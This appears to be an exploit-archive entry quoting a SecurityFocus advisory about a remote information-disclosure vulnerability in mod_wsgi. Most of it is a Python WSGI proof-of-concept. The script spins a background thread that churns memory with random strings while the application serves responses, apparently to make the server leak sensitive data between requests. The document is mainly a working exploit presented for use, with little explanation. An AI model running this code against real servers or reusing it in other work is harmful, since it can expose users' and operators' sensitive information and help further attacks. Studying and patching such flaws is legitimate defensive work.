source: http://www.securityfocus.com/bid/67534/info mod_wsgi is prone to a remote information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks. import functools import threading import time import random def run(*args): while True: items = [] for i in range(1000): items.append((int(random.random()*20)*'X')) time.sleep(0.00001) thread = threading.Thread(target=run) thread.start() def headers(): return [('Content-Type', 'text/plain'.upper().lower())] def response(): yield 'Hello World!\n' _content_type_cache = {} def intern_content_type(application): @functools.wraps(application) def _wrapper(environ, start_response): def _start_response(status, headers, *args): _headers = [] for header, value in headers: if header.lower() == 'content-type': value = _content_type_cache.setdefault(value, value) _headers.append((header, value)) return start_response(status, _headers, *args) return application(environ, _start_response) return _wrapper #@intern_content_type def application(environ, start_response): status = '200 OK' start_response(status, headers()) return response()